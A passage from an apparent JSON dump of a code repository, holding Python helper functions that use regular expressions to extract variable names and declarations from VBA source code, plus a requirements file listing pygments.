]+\\w+\\(([^\\n\\)]+)\\)\", code, flags=re.M)\n    var_names = map(lambda x: x.group(1), var_names)\n    var_names = map(extract_variables, var_names)\n\n    result = []\n    for names in var_names:\n        result += names\n\n    return result\n\n\ndef get_variables_const(code):\n    \"\"\"\n    Return all variables names defined such as: \"Const MyVar...\"\n    :param code:\n    :return:\n    \"\"\"\n    var_names = re.finditer(\"(?:Const|Set)[ ]+(\\w+)[ ]+=\", code, flags=re.M)\n    var_names = map(lambda x: x.group(1), var_names)\n    return var_names\n\n\ndef get_variables_defined(code):\n    \"\"\"\n    Return all variables names defined such as: \"Dim MyVar...\"\n    :param code:\n    :return:\n    \"\"\"\n    var_names = re.finditer(\"^\\s*.*(?:Dim(?: Preserve)?|Private|Public)[ ]((?:\\w+(?:[ ]+As[ ]+\\w+)?[, ]*)+)\", code, flags=re.M)\n    var_names = map(lambda x: x.group(1), var_names)\n    var_names = map(extract_variables, var_names)\n\n    result = []\n    for names in var_names:\n        result += names\n\n    return result\n\n\ndef extract_variables(text):\n    text = text.split(\",\")\n    for i, s in enumerate(text):\n        s = s.strip()\n        s = s.split()\n        if s[0] == \"ByVal\":\n            s = s[1]\n        else:\n            s = s[0]\n        text[i] = s\n\n    return text\n\n\ndef split_var_declaration_from_code(code):\n    \"\"\" Extract the global variable declarations (prefix) at the beginning of the code from the actual code (suffix)\"\"\"\n    regex = r'(^(?:\\s|.)*?)(.*?(?:Sub|Function)(?:\\s|.)*$)'\n    match = re.match(regex, code)\n    assert len(match.groups()) == 2, \"Could not find the prefix & suffix of the code\"\n    return match.group(1), match.group(2)\n"
  },
  {
    "path": "requirements.txt",
    "content": "pygments"
  }
]